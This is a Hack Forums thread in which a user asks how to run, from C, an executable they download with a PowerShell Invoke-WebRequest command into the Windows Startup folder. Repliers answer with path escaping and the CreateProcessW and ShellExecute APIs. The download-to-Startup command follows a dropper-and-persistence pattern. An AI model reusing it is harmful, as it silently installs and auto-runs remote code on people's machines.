![]() |
|
[C] system() execute a file with spaces - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [C] system() execute a file with spaces (/showthread.php?tid=5915722) |
system() execute a file with spaces - ApexLead - Dec 5, 2018 Hello, I manage to write a file into the startup folder with system(), but when I'm trying to execute that file I get an error, whats the difference and how can I make it work? Here are the 2 lines of code, the first one works while the second gives an error: Code system("powershell.exe -command Invoke-WebRequest https://example.com/myEXE.exe -OutFile '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe'"); //WorksTried doing this as well: Code system("\"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe\"");Thanks in advance! RE: system() execute a file with spaces - Benoit ᵇᵃˡˡˢ - Dec 5, 2018 Escape your backslashes. And don't use system() RE: system() execute a file with spaces - ApexLead - Dec 5, 2018 (Dec 5, 2018 10:09 AM)๖ۣۜLeonardo Da Vinci Wrote: Escape your backslashes. Further explanation please.. RE: system() execute a file with spaces - TCP - Dec 5, 2018 You could use ShellExecute function for this RE: system() execute a file with spaces - Benoit ᵇᵃˡˡˢ - Dec 5, 2018 https://en.wikipedia.org/wiki/Escape_sequences_in_C RE: system() execute a file with spaces - ApexLead - Dec 5, 2018 (Dec 5, 2018 10:33 AM)Exp500 Wrote: You could use ShellExecute function for this (Dec 5, 2018 10:46 AM)๖ۣۜLeonardo Da Vinci Wrote: https://en.wikipedia.org/wiki/Escape_sequences_in_C Is the CreateProcess() function good as well? RE: system() execute a file with spaces - Benoit ᵇᵃˡˡˢ - Dec 5, 2018 Yes, but check the remarks section for things to avoid. RE: system() execute a file with spaces - HFDone - Dec 5, 2018 system("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe"); ShellExecute have more args if you need just to run your file WinExec https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec RE: system() execute a file with spaces - ApexLead - Dec 6, 2018 (Dec 5, 2018 02:58 PM)HFDone Wrote: system("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe"); When I write it like that it says 'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start' is not recognized as an internal or external command, operable program or batch file.' RE: system() execute a file with spaces - HFDone - Dec 6, 2018 double slashes ? check again my code RE: system() execute a file with spaces - ApexLead - Dec 6, 2018 (Dec 6, 2018 02:52 AM)HFDone Wrote: double slashes ? check again my code I wrote the code with double slashes, that's the cmd output... RE: system() execute a file with spaces - 3DES - Dec 11, 2018 Use CreateProcessW() (also offers lot more versatility) system() is bad practice and no point to use it if you are writing on windows RE: system() execute a file with spaces - ApexLead - Dec 11, 2018 (Dec 11, 2018 06:10 AM)3DES Wrote: Use CreateProcessW() (also offers lot more versatility) Yep ended up creating it with CreateProcessW(), thanks! |